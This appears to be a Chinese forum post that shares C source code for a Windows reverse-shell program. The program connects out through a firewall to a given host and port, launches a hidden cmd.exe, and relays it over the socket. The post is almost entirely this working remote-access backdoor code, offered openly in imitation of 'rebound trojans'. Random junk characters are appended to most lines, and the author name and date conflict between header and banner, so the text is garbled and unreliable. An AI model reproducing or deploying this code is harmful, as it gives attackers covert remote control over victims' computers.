这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >g m
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/* ============================== fm L8n<1
Rebound port in Windows NT d8iq9AP\o
By wind,2006/7 6bPl(.(3
===============================*/ S9{A}+"K
#include jtUqrJFlQ
#include &isKU8n
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#pragma comment(lib,"wsock32.lib") rzs-c ?
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void OutputShell(); [N12X7O3
SOCKET sClient; d&\3}uH
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~oJ"si
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void main(int argc,char **argv) A $ ]s{`
{ b;%t*?t
WSADATA stWsaData; lh[?`+A
int nRet; Z #T
SOCKADDR_IN stSaiClient,stSaiServer; ,ga6
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if(argc != 3) 2WTOu x*
{ s_a jA
printf("Useage:\n\rRebound DestIP DestPort\n"); 2v2XU\u{t
return; tt#dO@G#Fe
} 6oKdw|(Q#
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WSAStartup(MAKEWORD(2,2),&stWsaData); VZq~ -$
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -i1 f
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stSaiClient.sin_family = AF_INET; h[&"KA
stSaiClient.sin_port = htons(0); `<7!Rh,tS^
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ij$C@hH
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *AYq:n6
{ ""Da2Md
printf("Bind Socket Failed!\n"); '_^T]fr}
return; z:@:B:E
} r fzNw
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stSaiServer.sin_family = AF_INET; ^5.XQ0n
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); dI&Q5M8
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :W5W
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)
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{ ,2^4"gIl
printf("Connect Error!"); &w#!
return; bMGn&6QiP[
} #c5jCy}n
OutputShell(); Pc_aEBq
} 76wNZv)9
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void OutputShell() _'LZf=V0
{ 5nUJ9sqA
char szBuff[1024]; /("7*W 2
SECURITY_ATTRIBUTES stSecurityAttributes; ;8eKAh
OSVERSIONINFO stOsversionInfo; d&[RfZ`
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]%)<9]}
STARTUPINFO stStartupInfo; Qr9;CVW
char *szShell; kQ lU.J>^
PROCESS_INFORMATION stProcessInformation;
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unsigned long lBytesRead; An$2='=/
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); bh<;px-
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +.Ij%S[Px5
stSecurityAttributes.lpSecurityDescriptor = 0; e=WjFnK[x7
stSecurityAttributes.bInheritHandle = TRUE; FO5a<6
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); D%abBE1
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); p,goYF??
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Jsysk $R
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w y|^=#k
stStartupInfo.wShowWindow = SW_HIDE; V`1,s~"q
stStartupInfo.hStdInput = hReadPipe; 8HQ.MXKP
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; TK
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GetVersionEx(&stOsversionInfo); I5_HaC>
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switch(stOsversionInfo.dwPlatformId) O=A2QykV(
{ $2Whb!7Z(
case 1: 4P&2Z0
szShell = "command.com"; "FWx;65CR
break; u3C_Xz
default: RqtBz3v
szShell = "cmd.exe"; l! F$V;R
break; U}RBgPX!
} &ASR2J
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #cu{AdK
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send(sClient,szMsg,77,0); @"-\e|[N
while(1) y:W6;R
{ V0=%$tH
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ];OvV ,*
if(lBytesRead) gvA}s/
{ -2M~KlYl
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); S^eem_C
send(sClient,szBuff,lBytesRead,0); y|2<Vc
} x,!Dd
else (?fU l$q\
{ sD:o
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lBytesRead=recv(sClient,szBuff,1024,0); @ph!3<(In,
if(lBytesRead<=0) break; kh5a >OX
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #$I@V4O;#
}
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} Uj):}xgi'
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return; X0VSa{
}